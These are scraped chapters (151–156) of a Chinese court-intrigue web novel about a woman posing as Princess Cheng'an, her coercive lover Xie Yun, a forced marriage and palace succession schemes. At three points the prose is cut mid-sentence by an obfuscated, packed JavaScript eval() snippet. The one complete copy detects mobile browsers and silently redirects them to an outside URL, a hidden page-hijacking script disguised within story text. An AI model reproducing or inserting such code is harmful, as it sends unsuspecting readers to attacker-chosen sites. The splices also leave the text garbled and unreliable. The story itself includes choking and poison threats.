谢子慎在她面前跪下,低着头,“儿子也不知。” 他是让四皇子找的林莺娘来,谁知她还会带个替死鬼过来。现下他也后悔,跳湖之前自己该看仔细的,怎能就那样一头莽撞入了水,闹出这种事端来。 他也不想娶方寻雁,眼下正眼巴巴看着谢夫人,“母亲,儿子不想娶她,这桩婚事您帮儿子想想办法,推拒了罢。” 第151章 林莺娘,你当真是胆大包天 他当真天真,还妄想着自己母亲手眼通天,能帮他解决此事。 “推拒了?” 谢夫人恨铁不成钢地看着自己的独子,“你当这是干什么?牙婆手里买丫鬟,想要就要,不想要就换一个?这门亲事可是贤贵妃娘娘亲自定下的。” 白日里的宫宴,是贤贵妃娘娘主持操办的。 出了这样大的事,自然有人禀告她。 “竟出了这样的事?” 贤贵妃看底下跪着的谢子慎和方寻雁,笑了笑,“英雄救美,这是多好的佳话呀!本宫看两人也是郎才女貌,般配得紧呢!不如索性就成全了这一番美名罢。” 这便是定下了谢子慎与方寻雁的亲事。 彼时在场宾客皆贺喜。 就连无意促成此事的四皇子也来到谢子慎面前,“恭喜谢三公子觅得佳缘,真是可喜可贺。” 事到如今,他焉能看不出来,自己是叫谢子慎当筏子使了。 只是不知出了什么茬子,说好的成安公主摇身一变成了方寻雁。 不过无妨,谢子慎此番算计他的仇,四皇子是记着了。 “殿下——” 谢子慎想解释,面前的四皇子已经冷哼一声,拂袖离去。 这一遭处心积虑,他不仅没能如意抱得美人归,还因此得罪了四皇子殿下,往后这朝中仕途,想必是越发坎坷了。 谢子慎这番,实是赔了夫人又折兵。 眼下,谢夫人也来埋怨他,“我早劝过你,不要去沾惹林莺娘,你非不听,还闹着非要尚什么公主。” 谢子慎存着这个心思时来找过谢夫人。 可她不许,连宫宴也不让他去。 没想到,谢子慎找了四皇子殿下,还是混进宫宴里去了。 谢夫人当真是气,“你看,这下可好了吧?公主是尚不成了,那方寻雁你也必是得娶进家里来。咱们定远侯府,往后怕是再没消停日子了。” 谢夫人心有戚戚。 那方寻雁刚刚叫她威吓住,眼下正是恨自己恨得牙痒痒的时候,招了个这样的儿媳在身边,谢夫人可想而知往后府里会是怎样的乌烟瘴气。 “母亲怎么能怨我?” 谢子慎站起身来,他居高临下看着谢夫人,面色凄怆,“若不是母亲拦着我,不许我与莺娘在一起。我和她,或许早已经是鸳鸯一对了,现如今她成了成安公主,我也自然水涨船高,成为驸马。” 谢夫人不可置信看着他,“子慎……” 她眼里尽是哀恸,“你如何能来怨怪我?我可是你的母亲,我做这一切都是为了你好啊!” “对,我不该怨怼母亲。” 谢子慎干瘪地笑两声,“我该怨怪的是兄长。” 他怨恨的,是谢昀。 “他强夺莺娘在前,打断我腿在后,我所有的一切,都是被他给毁了。” “我的儿,你终于明白了。” 谢夫人忙不迭从圈椅里起身,她抬手,颤颤巍巍去摸谢子慎的脸,“你的兄长,和那林莺娘狼狈为奸,都不是个好的。子慎,你从前都是叫他们给骗了……” 谢子慎幼时最是崇拜谢昀这个兄长,日日跟在他后头。 谢夫人顾忌着他,总是不方便对谢昀下手。 她还得顾念着自己在外头贤德的声名,也不好对着谢子慎挑明,明目张胆说谢昀的坏话。 是以他养了个格外天真的性子,瞧不出这高门大宅里的勾心斗角,只觉得母亲慈爱,兄长严厉,与寻常人家无异。 如今才叫谢夫人挑破。 他恍然大悟,原来自始至终,自己都是被蒙在鼓里的那个。 谢子慎眼神悲痛,“母亲为何不早告诉我?” “傻孩子,母亲早告诉你,也要你肯听啊!” 谢夫人慈爱地看着他,话里尽是无奈,“你幼时总说大哥哥好,大哥哥好。母亲提醒你,叫你离他远些,你都不肯。我说这些,你如何会听?好在你如今是清醒过来了,往后在他面前,咱们母子俩都要警醒着点,万万不要再叫他坑害了去,知道吗?” 谢子慎在她手心里默默点头,“母亲,儿子以后都听你的。” 这厢母慈子孝,那厢成安殿里却是剑拔弩张。 满殿的宫人都叫林莺娘屏退了出去,只留了采雁和兰秋两个,现下也是瑟瑟发抖跪伏于地,等着上面的雷霆之怒落下。 林莺娘已被谢昀逼到墙角,退无可退,他伸手,一把擒住姑娘的脖颈。 “林莺娘,你好大的胆子啊!” 林莺娘做的那些事,瞒得过众人,骗不过他去。 平阳公主为何姗姗来迟,那方寻雁又是为何落的水,这桩桩件件,皆是出自林莺娘的手笔。 “你当真是胆大包天。” 他微微用力,姑娘细长的颈犹如白鹤,在他手里轻易便可折了去。 林莺娘叫他擒得透不过气,只能断断续续从喉咙里溢出音来,“我……我是成安公主,侯爷……侯爷杀了我,又岂能脱身。” 谢昀眉头微微一挑。 真稀奇。 一向乖顺的鸟雀竟生了胆气,要来啄豢养它的主人。 手里的姑娘还在抵死挣扎,“再……再说……我做这一切也是为了侯爷啊!” 他终于松手。 姑娘死里逃生,一瞬间松懈下来,捂着脖颈大口喘气,下颌却又被他缓缓挑起。 姑娘害怕极了,眼睫都是慌乱的,颤抖着不敢看他。 便有那么一只手,擒着姑娘的颊,硬生生将她掰了过来。 “你说是为了我?”他语气极是意味深长,“那你倒说说,是怎么为的我?” 林莺娘的眼睫止不住的颤,她强装镇定,“那平阳公主哪有方寻雁好用,侯爷不是想整治卫青黛母子吗?那方寻雁恨卫青黛恨得咬牙切齿,她嫁过去,必定闹得谢子慎房里乌烟瘴气,不得安宁。那卫青黛疼她儿子疼得跟眼珠子似的,这一番也是算剜了她的骨肉,不是吗?” 她说得极有道理。 但是谢昀知道,这不过是她妄图辩解的话。 她有旁的私心。 谢昀几乎立刻便猜出来,“你想护着平阳公主?” 他深深看他手里挣扎求生的姑娘,“你连自己都护不住,还想护着她?” 谢昀猜得没错。 林莺娘是想护着平阳公主。 她自幼便将平阳公主当做了自己泥沼里翻身的念想,她想护住的,不过是自己幼时心底里那一点镜花水月的念想。 第152章 既然你一心求死,那我便成全你 “是。” 左右被谢昀猜出来,林莺娘也不打算再瞒,“我只是不想她受伤。她和我不一样,她是万般宠爱娇养大的公主,金枝玉叶。” 而自己是泥沼里翻身的野草,叫人揉圆捏扁了也能挣扎活着。 便如现下。 她虽名为这世上最尊贵的成安公主,可是阖上门来,却是他手底下一只随意便可操纵生死的鸟雀。 她当然现下应当做什么才能保全自己。 于是眼睫轻轻一颤,姑娘便在他手底下盈出满眼的泪来,“是莺娘错了,莺娘一时糊涂,这才忤逆了侯爷的意思。侯爷便饶了莺娘这回罢,我再也不敢了。” 求饶没有用。 面前的郎君面冷心也冷,看着她的眼里都透着彻骨的寒。 她忍不住哆嗦,眼眸转了几转,到底是狠下心,“侯爷若是实在生气,要杀要剐,莺娘都受着,绝无怨言。” 她说着,颤颤巍巍闭上眼,一副凛然赴死的模样。 林莺娘在赌。 自己好歹伺候了谢昀这么些日子,总有些感情罢,她想。 何况自己从前这招法子最好用,料想现下也应当一样。 可是谢昀接下来的话打破了她的妄想。 “好。” 他出乎意料,应得格外干脆,“既然你一心求死,那我便成全你。” 林莺娘眉眼一跳,立即睁开眼来。 面前的郎君好生无情,看透她的眼底都泛着凉薄,他还好心来问她,“你想要怎么死?自缢,还是毒酒?” 手底下的姑娘吓坏了,含着泪眼缓缓摇头。 她不想死。 他看不见。 “不如就天仙子罢。”他当真好心,耐心向姑娘解释,“这天仙子少量饮用毒性并不大,不过置人昏睡而已。但若是整瓶灌下去,肠穿肚烂,死状可怖得很。” 说完,他松开擒着姑娘下颌的手,转身吩咐底下跪着的兰秋,“去,将那瓶天仙子取来。” 是那瓶林莺娘宫宴没用上的天仙子。 她本来预谋拿这个去害方寻雁,毕竟她在冠礼上蓄谋要害自己,林莺娘自然是想以牙还牙,将这害人的天仙子用回她的头上。 但那方寻雁委实可怜。 还没等林莺娘出手,便叫满堂宾客收拾了个齐全,后来又被坑害落进了湖,林莺娘这瓶天仙子自然是没用上。 没想到此时却叫谢昀想起来,要用在自己头上。 林莺娘此时心里不可谓不胆战心惊。 兰秋自是不敢忤逆谢昀的意思,那瓶天仙子很快便呈了上来。 谢昀拿着送到林莺娘面前,“你是要自己喝,还是我替你灌下去?” 姑娘面色白如雪,身子轻轻颤。 “侯爷……”她看着面前的天仙子,抖如筛糠,又扬起泪盈盈的眸子来看他,期望谢昀看在她如此羸弱可怜的模样不要杀她。 但郎君却是向前,目光冰凉,“怎么?不愿喝么?方才不是还说要杀要剐都受着,绝无怨言,难不成都是骗我的?” 他将姑娘逼直绝路,退无可退。 “既然你不想自己喝,那我便喂你罢。” 他又要来擒她的颊。 没擒住。 姑娘腿脚一软,径直跪在了他的面前。 什么决然赴死,什么大义凛然,她是这世上最没有骨气的小人,只消能活着,无所不用其极。 就如现下,她死死抱住面前郎君的腿,哭嚎着声哀求,“我错了,我错了,侯爷……我还不想死……不要杀我……” 她哭得绝望又可怜。 不是寻常假模假样的滴两滴,而是切身处地的惶恐和害怕。 她怕自己当真就此丧了命。 郎君向来容止端雅,被人抱大腿的事属实是头一遭,他脸色由冷转黑,板着脸呵斥林莺娘,“松手!” 姑娘不松。 不止不松,还越发抱紧了些。 她一向无赖至极,何况事关她生死性命,她越发不顾忌。 郎君的脸越发黑,冰冷冷要挟她,“再不松开我剁了你这只手。” 这样威胁的话不顶用。 林莺娘心里算算,这是第多少回他要剁了自己的手了?数不清,总归自己的手还在胳膊上好生待着。 再说了,手和命相比,还是命更重要些。 林莺娘不肯放,谢昀拿她也没法子,他是谦谦如玉的世家公子,总不可能和个姑娘拉拉扯扯,不成体统。 更何况底下两个宫婢都看着,他定远侯爷的脸面还要不要了。 谢昀的脸色黑了又黑,到底是压抑心中火气,沉着嗓子出声,“你松开,我不杀你。” “真的?” 抱他大腿的姑娘仰着头。 谢昀脸色阴沉,点点头。 姑娘尤不放心,吸了吸鼻子,眼角还垂着一滴泪,“侯爷当真不杀我了?” 谢昀的脸色从未有过的黑,“本侯爷说话向来一言九鼎,什么时候诓骗过你?” 林莺娘当真仔细想了想。 这不想还好。 一想这谢昀诓骗她的话可太多了。 先是诓得自己在江州失了身,又诓得自己跟着他千难万险来了金陵城,如今更是叫他诓骗进这宫里,日日提心吊胆地过日子。 她看向谢昀的眼里满是怨念。 谢昀也是话说出口才反应过来,他冷着脸,出声找补,“这次当真不骗你。” 林莺娘:“………” 果然从前都是诓骗她的。 她还去看谢昀手里的天仙子,那是险些要她命的药,迟疑着问,“侯爷不会把我骗起来,又给我喂毒吧?” 她忌惮太过。 郎君仅存的耐心终于消失殆尽。 他弯腰,一把擒住姑娘的颊,微微笑着的眼里有隐忍的怒气,“你若是再不松开,我不介意撬开你的嘴,将这天仙子强灌进去。” 这便是当真怒了。 林莺娘极是有眼力见,立即松开手,还不够,整个人又往后缩了缩。 她是这世上最懂形势的姑娘。 谢昀到底是饶了她。 只是将那瓶姑娘忌惮的天仙子扔进了她的怀里,林莺娘瑟缩接了下来。 看他淡下了脸,眼神冰冷,警告她,“倘若再有下次,你该知道会有什么后果。” 林莺娘忙不迭点头。 “知道知道,侯爷放心,定没有下次了。” 她指天发誓,将那瓶险些惹出祸事的天仙子藏进衣袖里收好,方还吓出满眼泪的姑娘转瞬便换了神色。 第153章 他存了心要害我呢!我怎能让他如意? 是笑盈盈,殷勤来讨好郎君的姑娘。 她将谢昀拉至窗边坐下,如玉柔荑轻轻揉捏他的肩膀,小心又谨慎,“侯爷别生气了,当心气坏了身子,那可就是莺娘的罪过了。” 她还知道是她的罪过。 谢昀冷冰冰抬一眼看她,“什么时候知道的?” 姑娘愣了一下,装傻,“什么什么时候知道?侯爷说的话我怎么听不懂。” “还要装?” 谢昀懒得和她掰扯,目光落在底下跪着的采雁身上,“是这丫鬟做的吧?你这当主子的既不知情,那我便直接审问她了。” 他话里有话。 他说的审问可不是简单的问话。 林莺娘是见过他的手段的,江州那间牢狱里的暗室,她还记得那把沾满了血的匕首,浓重的令人作呕的血腥气。 这样的手段,若是用在细皮嫩肉的姑娘身上,林莺娘不敢作想。 采雁也听自家主子说过谢昀那些隐蔽,狠辣的手段,此时吓得瑟瑟发抖。 她忍不住抬头看林莺娘。 好在她的主子到底是舍不下她,赶在谢昀起身前将他拦下。 “侯爷别急呀!” 她咬着唇,自知是躲不过去了,索性闭着眼,狠下心道:“是!是我让采雁去的。” 她让采雁去拦的平阳公主。 游廊转角处,谢昀瞧见了谢子慎,林莺娘也瞧见了。 今日宫宴名单上并没有谢子慎的名,他来做甚么? 林莺娘留了一份心。 她让采雁悄悄跟着他,看见他去四皇子处,转头四皇子便请了人来邀自己过去。 这是鸿门宴,林莺娘想。 她本以为是寻常的鸿门宴,是以带上了方寻雁,总归有个替死鬼在身边,出了什么事自己也能蒙混过去。 不想路上远远看见了平阳公主。 她很显然,也是往湖中凉亭去。 林莺娘想到此,老实交代,“我当时便想到应当是侯爷的主意,侯爷想让平阳公主在我之前过去,那样落水的人就成了平阳公主。” 但谢昀的计谋并没成功。 林莺娘让采雁去给平阳公主传了话,说是定远侯爷有事,方才已急匆匆离开了,临走前让她过来与平阳公主说一声,湖中凉亭不必再去。 平阳公主不疑有他。 只是可惜,好不容易谢昀邀约,两人也没见上面。 后来见方寻雁落水却又暗自庆幸,若是自己早来一步,那落水之人就成自己了。 她从未想过,这冥冥之中,是有人暗中帮了她。 但林莺娘帮她有自己的私心。 “我只是不想让谢子慎娶平阳公主。” 面前的姑娘眉头微蹙,语气幽怨得紧,“他存了心要害我呢!我怎能让他如意?” 平阳公主也是公主。 他娶了平阳公主,也算是尚公主。 林莺娘愤愤难平,“他若是成了当朝驸马,那往后还不得横着走?更别提他那个害过我的娘,就更是得意了。” 她是这世上最睚眦必报的姑娘,又岂能看仇人得意。 但姑娘这番言之凿凿的话却并没让多疑的郎君相信,他挑眉,提醒她,“你方才可不是如此说的……” 她方才分明是顺着他的话,说自己是要护着平阳公主。 “那话也是真的呀!” 姑娘解释,“我与平阳公主素来要好,侯爷如今要拿她来设计陷害谢子慎,我实在是于心不忍。” 她是世上最好心肠的姑娘。 见不得平阳公主无辜遭难,这才伸出援手相助。 可惜郎君不信,“哦?你竟有这般好心?” “侯爷不信我么?” 姑娘当真是伤透了心,好看的眉眼微敛着,眼底很快泛起一圈的红,“我又不是天生的坏人!” 她从前干的坏事不过是形势所逼。 “旁人对我坏,我自然要对她们坏。可是平阳公主对我好,我自然也要对她好的呀!” 平阳公主对她的好,林莺娘看在眼里,记在心上。 “我又不是不懂知恩图报的人,怎么会眼睁睁看着她出事而置之不理?那我可成什么人了?” 说到最后,反叫自己说委屈了,含泪而泣,瑟瑟落泪。 当真可怜。 谢昀审视的眼一直看着她。 许久,才微微一笑,起身将姑娘拉进怀,温热的指腹替她拭泪,“怎么哭成这个样子,旁人见了,还只当我欺负了你。” 他比姑娘更会装。 方才暴戾威胁是他,如今温柔多情也是他。 “好了,我不过就是问问罢了,也值得你这样委屈哭一场。” 真稀奇。 向来高不可攀的谢大公子也有纡尊降贵来哄人的一天。 莫说林莺娘诧异,就连采雁和兰秋也觉得惊奇,两人候在底下,面面相觑。 林莺娘是最先回过神来的。 这样好的机会,她焉能就此放过,嘴角轻轻一撇,这便要哭得更凶些,将他欺负自己的罪坐实。 得寸进尺说的便是她。 未料谢昀已察觉出来,在她哭出声前缓缓开口,“点到即止便可。再装下去,就是过犹不及了。” 林莺娘立即噤声。 谢昀微微一笑,“殿下还是这样听话的时候更惹人怜爱些。” 她是他手里的雀鸟。 喜怒哀乐皆由他掌控。 他在时,林莺娘自然是提起心来,顺着他的心意说话做事。 他还要挑剔她,“殿下举止该端庄些,如今是在宫里,可不同在外头一样。” 她挤出一抹笑来,将歪着的身子乖乖坐好。 她行走时,郎君也不满意。 “殿下行走要稳重,摇摇晃晃的,像什么样子!” 分明他从前最爱她这副模样,说美人多娇,当步步生莲,婀娜多姿。 林莺娘觉着委屈。 郎君不止不哄她,还要皱眉来斥她,“宫里的教引嬷嬷便是这么教你的?过段时日我再过来,若还是如此,你那叫采雁的丫鬟就不必留在宫里了。” 他拿赶采雁出宫来要挟林莺娘。 林莺娘气,却又无可奈何。 在谢昀面前,她一贯只有听话的份,雀鸟何时能有自己的情绪。 他还抱起姑娘欲要去内殿。 林莺娘抵着他的胸膛,看底下跪着的兰秋和采雁,“侯爷,这儿还有人呢!” 谢昀一个眼风看过去。 兰秋和采雁识趣退了出去,守在殿外。 第154章 不如臣来做殿下的驸马? 等谢昀离开,采雁进来伺候,榻上的林莺娘已是春深几许。 她从榻上拢着锦被坐起来,身上斑斑点点的痕,她自己也瞧见,微蹙的眉眼里有恼意,“果然又是这样!” 情动时,她哀求过谢昀,动作轻些,不要在她身上留下痕迹。 毕竟这宫里眼杂是非多,留神叫人瞧见了。 “瞧见便瞧见了。” 他在榻上一贯恶劣又霸道,她说不许,他便非要弄。 还狡辩道:“你性子聪慧伶俐,想必自有法子遮掩过去。” 他又饶有兴趣地趁着姑娘神魂皆失,眉眼迷蒙的时候在她耳边低语,是缠绵又悱恻的声,“今日本是殿下的招婿宴,如今驸马既是没招上,不如臣来做殿下的驸马?” 他才不是林莺娘的驸马。 他是平阳公主的驸马。 但是林莺娘在浪海浮潮中翻腾,早不知今夕何夕,也辩驳不得他,只能随他去。 这一遭时辰实在有些久了。 自打林莺娘进宫后,谢昀便再未碰过她,寻常来成安殿也都是与她说话,偶有忍不住动手动脚的时候,也叫林莺娘插科打诨地避开了去。 她倒不是不喜欢谢昀碰她。 平心而论,谢昀榻上的功夫很是不错,只是难缠些罢了。 林莺娘是怕叫人瞧见,毕竟这是在宫里,不是雾凇院,到底诸多不便。 但今日实在躲不过去。 她得罪了谢昀,自然是要想着法的来讨好他,这一场欢好也是她刻意所为。桌边沏水喝茶,她撩起衣袖,露出纤柔滑润的一截手腕。 再将那泡好的茶递上来,腰颤如柳,声脆如莺,“侯爷,这是内务府送来的松针灵雾,侯爷尝尝……” 他虽然嘴上说着她举止不端,内心却极是受用这样的讨好。 茶喝尽了,姑娘也自然抱去榻上,吃干抹净。 只是林莺娘现下却愁,人是讨好了,这满身的欢好痕迹可如何是好。 她交代采雁,“这些痕迹千万拿脂粉遮严实了,一个也不能漏了。” 采雁点头应下。 她拿了脂粉,细细来遮林莺娘身上的淤痕。 最后是脖颈,她记着谢昀方才生怒时紧紧擒着姑娘的脖,料想脖颈处淤痕应当最深。 不料却没瞧见。 不免诧异,“这怎么没伤呢?” 姑娘的脖颈处洁白干净,竟是一点淤痕也无。 “又没用多大力,哪来的伤。”林莺娘不甚在意摸了摸脖颈。 “怎么会……” 采雁低声呢喃,她方才看得分明,自家姑娘被擒着脖颈抵在墙上,险些喘不过气,后来纵是谢昀松了手,她也许久才缓过来。 “那是我装的。” 林莺娘得意道:“他生气三分,我便要装上十分,这样才能蒙混过去啊!” 她如今算是摸透了谢昀的性子。 那是个惯来吃软不吃硬的主儿。 自己但凡犯了错,只要认错认得足够快,嘴巴也足够甜,基本都能蒙混过去。 是以她在凉亭附近瞧见平阳公主,只暗自思忖了片刻便下定了决心。 ——救平阳公主。 大不了之后他来问罪时,自己耐心多哄哄便是。 只是采雁现下也想不明白,“殿下,你为什么要救平阳公主啊?” 林莺娘对谢昀说的那些话,谢昀不相信,采雁也不相信。 她最是了解自家姑娘的性子了,自己的性命尚保全不及,他人性命与她何尤,她向来不管。 林莺娘当然有自己的谋划。 大抵是几日前,谢昀过来成安殿,正遇上前来送贺礼的六皇子殿下。 两人去了偏殿叙旧说话。 宫人们都避开,只有林莺娘壮着胆子提裙躲在窗子底下偷听。 她不敢靠太近,只零星听了些许,大抵是两人有谋划。 具体什么谋划。 林莺娘听不清,她再静下心细细听,是六皇子的声,“如此甚好,只是如此一来便伤了平阳的心了,你当真不愿娶她?” 谢昀不愿娶平阳公主? 林莺娘听见这一句,心里不免好奇,她踮脚附耳,却是一点儿也听不见了。 她心内焦急。 眼瞅着两人说话的时辰差不多了,林莺娘不敢再留,转身正欲离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢昀的生怒和秋后算账在她的意料之中,好在也叫她插科打诨蒙混了过去。 这一招将计就计,正经算下来,是她赢了。 “姑娘果然厉害。” 私底下,采雁还是更爱唤她姑娘。 她对林莺娘的崇拜向来不加掩饰,尽数露于面上,只是她又拍着胸脯道:“姑娘下次做事前,能不能知会我一声?方才可当真是吓死我了。” 采雁不是个胆大的性子。 只是她跟着林莺娘,冒名顶替的事做了,算计陷害的事也做了,如今更是,冒天下之大不韪,顶着成安公主的名头,跟着她混进皇宫里来,当真是日日提着脑袋过日子。 “宫里的日子真是难过。”采雁不免叹气,“还不如咱们从前在江州。” 林家虽艰难,到底只一个林云霜。 如今在这金陵城里,却是群狼环伺,处处是陷阱。 “谁说不是呢!”林莺娘也叹气。 这一个局接着一个局,她也是疲累至极,只是没法子,这金陵城弱肉强食,若是自己松懈些许,就能叫人吞吃了去。 “不过好在咱们今日到底是报了仇。”想到此处,林莺娘心中宽慰些许。 “好可惜啊!” 她面露可惜,“不能亲眼去看,定远侯府现如今是怎样的鸡飞狗跳。” 她很是期待呢! 过几日,便有人过来告诉她消息。 是平阳公主得了外头的消息过来告诉林莺娘。 “那谢三公子和方家的姑娘好事将近了,听说亲事就定在这月里呢!” “是吗?”林莺娘意料之中,微微一笑,“当真是快呀!” 谢子慎和方寻雁的亲事定得极快。 一方面顾惜着流言蜚语,损害姑娘的声名,得尽早定下来。另一方面,是众人心知肚明的。 圣上大限将至了。 若不赶在陛下驾崩前定下亲事,遇上国丧就不好了。 圣上本也想将平阳公主的亲事定下来。 奈何他身子实在不济,又有贴心的六皇子在身边劝,“父皇只保重自己的身体便是,平阳的事,一时半会儿也不着急,公主下嫁是大事,怎能随意就定下,还是等父皇养好身子再慢慢从长计议。” 这样的话不过是宽慰之语。 圣上哪能不知自己的身子,是再也养不好了,不过是一日拖着一日,苟延残喘罢了。 正逢平阳公主过来看望他,听见皇兄说起这番话,当即扑进圣上怀里哭,“儿臣不嫁。儿臣要等着父皇将身体养好,亲自来送平阳出嫁。” “好好,别哭,父皇都听平阳的。” 大限将至的圣上,看着自己身边的两个孩子,儿子贴心忠厚,女儿更是亲近孝顺,他满怀宽慰。 等平阳公主走后,他招六皇子上前说话。 “朕往日待你,亏欠颇多。” 六皇子摇头,“父皇待儿臣恩重如山。” 哪有父子之间用恩重如山的,但他们是皇室,皇室之间无父子。 也只有现下,圣上眼见大限将至时,才有少见的父子温情。 圣上有东西要留给六皇子,是在自己离世后命他就藩澧城的遗旨。 六皇子恭敬跪下接旨,细细看完却面有诧异,“就藩?” 圣上道:“澧城虽偏远,却是个山清水秀,民风淳朴的好地方。” 圣上有自己的考量。 皇家争斗,向来是不死不休,凡是牵连进来的都不会有好结果。 六皇子到底是事无巨细,亲奉汤药,悉心伺候了他这么些日子,他对于这个自己从前向来忽略的儿子,也有一份亏欠在。 是以他给六皇子遗旨,让他在自己离世后就藩澧城,远离金陵这个是非之地。 这般替他着想。 六皇子当然是感激涕零,叩谢皇恩。 “起来罢。” 圣上又将六皇子唤至身边,谆谆嘱咐,“至于平阳的亲事,往后朕这个父皇不在了,你们这些做皇兄的可要记挂在心上,万万不要委屈了她。” 他还记挂着自己身边这个最小的女儿。 六皇子点头应下,“父皇放心,平阳的事,儿臣一定记在心上。” 说到亲事,圣上不免问起前几日宫宴一事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431260|168772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成安公主招驸马,亦是他的一块心病。 却没想到宫宴上出了岔子,驸马没招成,倒是成全了定远侯府一桩亲事。 圣上不免有些犯愁。 六皇子又来宽解圣心,“父皇想给成安公主招个驸马,眼下不正有个合适人选吗?” 圣上忙问是谁。 六皇子道:“父皇难道忘了,先前那金陵第一美人的事?” 金陵第一美人的话,最早便是从定远侯府的宴席上传扬出来的。 他旁敲侧击提醒圣上,“父皇,庆王府的小世子可还被父皇禁足在府里呢!” 圣上豁然开朗。 是了。 庆王府。 庆王府和定远侯府一样,在朝中向来中立。庆王功高却不震主,自从上交兵权后便一直赋闲在家,做他的闲散王爷。 将成安公主下嫁到庆王府,既能显示圣上对成安公主的看重,又不用担心朝中有好事者借着昔太子殿下的名义生事。 一石二鸟的好计策。 只是这样好的计策,六皇子提了出来,却不肯居功,“这赐婚的旨意,父皇还是让旁人去罢。” 他不愿与成安公主的亲事牵扯上联系。 圣上问起,他自有话解释,“若是让旁人知晓这门亲事是儿臣促成,往后成安公主倘若出事,儿臣恐有蓄谋的嫌疑。” 他既要为圣上扫清障碍,如今自然是越干净越好。 圣上亦是点头,“倒是你想得周到。好罢,此事朕让旁人去办,你不必再操心了。此事亦只有你我父子二人相知,不会叫第三人知晓。” 六皇子如愿,躬身退了出去。 他径直出宫,外头自有马车候着。车帘落下,六皇子吩咐,“去西郊。” 谢昀在西郊等着他。 六皇子将那封圣上的遗旨给他,“父皇有意,命我国丧后赴澧城就藩。” 和方才在殿内他跪地感激涕零谢恩不同,他现下是极度的不甘心。 “澧城偏远苍凉,何其艰苦,他打着为我好的幌子,却要将我送去这样的地方。我看就藩是假,怕我争夺皇位才是真。” 第156章 父皇似乎有意要将成安公主下嫁庆王府 他自跟着圣上,接触了至高无上的权利中心,又如何甘心就藩去做一个寒苦之地的小小王爷。 谢昀要的便是他的不甘心。 他看了看手中的遗旨,淡然道:“殿下莫急,遗旨罢了。” 眼下圣上仍在世,这遗旨便当不得真。 六皇子眼见谢昀这般处变不惊,才落下心来。 他想了想,又自己主动提起一事,“谢大人,父皇他似乎有意要将成安公主下嫁庆王府。” 是他先前在圣上面前提的事,却是换了个说法。 “父皇他早有意在宫宴上为成安公主寻个驸马,想来是见那日事未成,一直记挂在心上,今日他忽然问我庆王府的小世子禁足多久了,又问起他与成安公主年岁相差几何。我瞧着,父皇他是想将成安公主嫁于小世子的意思。” “霍子毅……” 谢昀听了六皇子的话,沉着眉眼,若有所思。 六皇子观他神色,上前一步,“要不我去父皇面前说说,让他打消了这个念头?” 他当真好心。 顾忌着谢昀和成安公主私下有情,不愿拆散这对鸳鸯,宁愿冒着自己受责罚的风险也想帮他。 “不必。” 谢昀寒声道:“既是圣上的意思,殿下便不必参与其中了。” 谢昀不会让六皇子去。 眼下正是多事之秋,朝堂上稍有风吹草动,圣上都敏锐地有所察觉。 他如今越发病重,也越发多疑,发出的旨意朝令夕改,更是容不得旁人置喙,如今朝堂上人人自危,谁也不敢去触圣上的霉头。 金陵城的天色,当真是一日比一日沉了。 六皇子如今在朝中能仰仗的只有谢昀,自然是听他的话。 只是转身上了马车离开,六皇子身边的亲卫不解,“殿下为何要告诉谢大人成安公主定亲一事?不怕他知道是殿下所为吗?” 六皇子靠着车壁,闭目养神,“你知道什么?我若是不主动告诉他,来日他在旁人口中听说此事,必定会疑上我。” 眼下正是夺嫡的关头,他不能让谢昀与自己离心。 亲卫更是不解,“殿下既担心谢大人知晓,为何要在圣上面前提及此事,将自己牵连其中?” 分明只要六皇子不在圣上面前提及此事,这一桩亲事本就不复存在,更别提牵连进去。 六皇子睁开眼,缓缓道:“我不在父皇面前提及此事,又如何能做父皇贴心解忧的好儿臣呢?” 他要在圣上面前露脸。 又得在谢昀藏拙,不叫他知晓。 这一盘名为夺嫡的棋局,他走得步步惊心,如履薄冰,稍有不慎,便是满盘皆输。 与此同时的平阳,还在成安殿里和林莺娘说话。 她担心病重的天子,郁郁寡欢,“也不知道父皇怎么样了,他总是宽慰我,说快好了,可我瞧着,他好像病得更严重了。” 妄议天子病情,这是重罪。 但平阳公主是圣上最宠爱的小公主,自然是没有关系。 林莺娘来安慰她,“殿下不必担心,圣上乃是真龙天子,有上天庇佑,不会有事的。” 这宫里,盼着圣上痊愈无事的可能只有平阳公主一人。 “你不必宽慰我了。”平阳公主眉眼皆愁,“我知道,父皇是骗我的。” 她时常去看天子,眼瞧着他精气神一日比一日消减。 她又不是傻的。 自然明白,这是圣上大限将至。 只是这话宫里不能提,事关天子万岁,人人都噤若寒蝉。 偏这成安殿里诸事不忌。 林莺娘屏退了宫人,和平阳公主说悄悄话,“若是依着殿下,殿下想让哪位皇子继承皇位啊?” 这是大逆不道的话,但阖上殿门,就是两个不知事的闺中姑娘说的私密话。 平阳公主也不顾忌,当真认真考虑了一下,“我觉着,父皇应当会让四皇兄继承皇位罢。” 她是金枝玉叶的公主,继承皇位的事她向来不记挂在心上,只是也会听到宫中流言。 她知道,无论是前朝还是后宫,这风向都是朝着四皇子的。 是以她也如此做想。 平阳公主也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 